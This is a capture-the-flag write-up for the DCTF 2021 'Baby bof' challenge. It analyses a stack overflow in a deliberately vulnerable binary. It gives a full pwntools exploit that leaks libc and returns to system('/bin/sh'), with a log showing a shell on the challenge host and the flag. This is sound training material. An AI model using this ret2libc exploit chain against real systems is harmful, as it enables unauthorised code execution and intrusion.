Tags: bof ret2libc pwn rop 

Rating:

DCTF 2021

Baby bof

250

It's just another bof.

nc dctf-chall-baby-bof.westeurope.azurecontainer.io 7481

hotel_rop Dockerfile

Tags: pwn x86-64 bof rop ret2libc

Summary

Classic two-pass leak libc, return to vuln, get a shell.

Analysis

Checksec

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Partial RELRO--GOT overwrite; no canary--BOF/ROP; no PIE--easy ROP.

Decompile with Ghidra

void vuln(void)
{
  char local_12 [10];
  
  puts("plz don\'t rop me");
  fgets(local_12,0x100,stdin);
  puts("i don\'t think this will work");
  return;
}

Write out 0x12 of garbage to get to return address in stack and start ROP.

The libc version was provided in the form of a Dockerfile. I've included it (libc.so.6) as part of this writeup since a future update to Ubuntu 20.04 may change the version of libc.

Exploit

#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./baby_bof')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

if args.REMOTE:
    p = remote('dctf-chall-baby-bof.westeurope.azurecontainer.io', 7481)
    libc = ELF('./libc.so.6')
else:
    p = process(binary.path)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = next(binary.search(asm('pop rdi; ret')))

payload  = b''
payload += 0x12 * b'A'
payload += p64(pop_rdi)
payload += p64(binary.got.puts)
payload += p64(binary.plt.puts)
payload += p64(binary.sym.vuln)

p.sendlineafter('me\n',payload)
p.recvuntil('work\n')

puts = u64(p.recv(6) + b'\0\0')
log.info('puts: ' + hex(puts))
libc.address = puts - libc.sym.puts
log.info('libc.address: ' + hex(libc.address))

payload  = 0x12 * b'A'
payload += p64(pop_rdi + 1)
payload += p64(pop_rdi)
payload += p64(libc.search(b'/bin/sh').__next__())
payload += p64(libc.sym.system)

p.sendlineafter('me\n',payload)
p.recvuntil('work\n')
p.interactive()

If this does not make sense, then click here, scroll down to ROP, and start reading, perhaps start here or here for nearly identical examples.

Output:

# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/dctf2021/baby_bof/baby_bof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to dctf-chall-baby-bof.westeurope.azurecontainer.io on port 7481: Done
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] puts: 0x7f0d964c25a0
[*] libc.address: 0x7f0d9643b000
[*] Switching to interactive mode
$ cat flag.txt
dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}
Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/dctf2021/baby_bof).